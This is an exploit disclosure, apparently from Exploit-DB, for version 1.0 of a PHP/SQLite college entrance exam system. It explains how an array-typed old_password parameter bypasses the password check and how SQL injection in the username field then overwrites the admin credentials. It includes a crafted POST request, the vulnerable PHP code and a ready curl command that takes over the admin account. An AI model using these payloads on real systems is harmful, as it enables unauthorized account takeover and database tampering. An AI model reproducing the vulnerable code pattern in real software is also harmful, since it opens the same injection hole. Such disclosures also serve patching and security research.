# Exploit Title: Simple Online College Entrance Exam System 1.0 - Account Takeover
# Date: 07.10.2021
# Exploit Author: Amine ismail @aminei_
# Vendor Homepage: https://www.sourcecodester.com/php/14976/simple-online-college-entrance-exam-system-php-and-sqlite-free-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14976&title=Simple+Online+College+Entrance+Exam+System+in+PHP+and+SQLite+Free+Source+Code
# Version: 1.0
# Tested on: Windows 10, Kali Linux
# Unauthenticated password change leading to account takeover

Explanation: By setting the parameter old_password as array, the MD5 function on it returns null, so md5($old_password) == $_SESSION['password'] since we have no session, thus bypassing the check, after that we can use SQLI and inject our custom data.
    
    Request:
        POST /entrance_exam/Actions.php?a=update_credentials HTTP/1.1
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        Content-Length: 129

        id=4&username=test',`password`='916b5dbd201b469998d9b4a4c8bc4e08'+WHERE+admin_id=4;%23&password=commented_out&old_password[]=test

    Vulnerable code in Actions.php:
        function update_credentials(){
            extract($_POST);
            $data = "";
            foreach($_POST as $k => $v){
                if(!in_array($k,array('id','old_password')) && !empty($v)){
                    if(!empty($data)) $data .= ",";
                    if($k == 'password') $v = md5($v);
                    $data .= " `{$k}` = '{$v}' ";
                }
            }
            ...
            if(!empty($password) && md5($old_password) != $_SESSION['password']){
                $resp['status'] = 'failed';
                $resp['msg'] = "Old password is incorrect.";
            }else{
                $sql = "UPDATE `admin_list` set {$data} where admin_id = '{$_SESSION['admin_id']}'";
                @$save = $this->query($sql);

    PoC that changes the password and username of user 'admin' to 'exploitdb':
        curl -d "username=exploitdb',%60password%60='916b5dbd201b469998d9b4a4c8bc4e08' WHERE admin_id=1;%23&password=useless&old_password[]=useless" -X POST 'http://127.0.0.1/entrance_exam/Actions.php?a=update_credentials'